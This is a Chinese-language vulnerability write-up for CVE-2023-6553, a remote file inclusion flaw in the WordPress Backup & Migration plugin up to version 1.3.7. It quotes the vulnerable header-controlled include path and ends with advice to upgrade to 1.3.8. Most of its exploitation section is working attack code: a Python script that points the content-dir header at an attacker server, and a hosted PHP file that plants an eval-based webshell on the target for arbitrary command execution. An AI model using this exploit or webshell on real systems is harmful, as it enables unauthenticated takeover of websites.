CVE-2023-6553

CVE-2023-6553

漏洞描述

Backup & Migration是一个安装量超过 90,000 次WordPress 插件,可帮助管理员自动将网站备份到本地存储或 Google 云端硬盘帐户。

WordPress Backup & Migration 1.3.7 及之前版本中,由于威胁者可以控制传递给include的值,导致可在未经身份验证的情况下通过/includes/backup-heart.php 文件执行PHP 代码注入,实现远程代码执行。

漏洞成因

wordpress插件Backup Migration(版本<=1.3.7)存在远程文件包含,可以包含任意恶意PHP代码造成远程命令执行

靶机php设置必须保证

漏洞成因:

1
2
3
4
5
6
7
8
9
10
11
12
插件文件backup-backup/inlcudes/backup-heart.php文件

(32)if (isFunctionEnabled('getallheaders')) {
(33) $fields = getallheaders();
(34)}
...
(62)define('BMI_ROOT_DIR', $fields['content-dir']);
...
(64)define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
...
(118)require_once BMI_INCLUDES . '/bypasser.php';

通过字符串拼接,包含includes/bypasser.php文件,但是字符串拼接路径中的BMI_ROOT_DIR参数来源于数据报头部,此处用户可控

可以构造远程地址来包含恶意文件

漏洞利用

POC

1
2
3
4
5
6
7
8
9
import requests

url = 'http://client__ip/wordpress/wp-content/plugins/backup-backup/includes/backup-heart.php'
content_dir = 'http://server__ip/'

headers = {'content-dir': content_dir}
response = requests.post(url, headers=headers)

print(response.text)

利用演示

本地开启http服务

在本地服务器构造includes/bypasser.php路径

代码内容为输出一个一句话木马到目录下

1
2
3
4
5
6
<?php
$file = "ak.php";
$content = "<?php @eval(\$_POST['attack']);?>";

file_put_contents($file, $content);
?>

然后通过伪造content-dir为本地服务器地址,像靶机发送数据包,完成木马的写入

访问ak.php执行任意命令

漏洞修复建议

更新插件版本,官方已经发布1.3.8版本插件

下载地址:https://wordpress.org/plugins/backup-backup/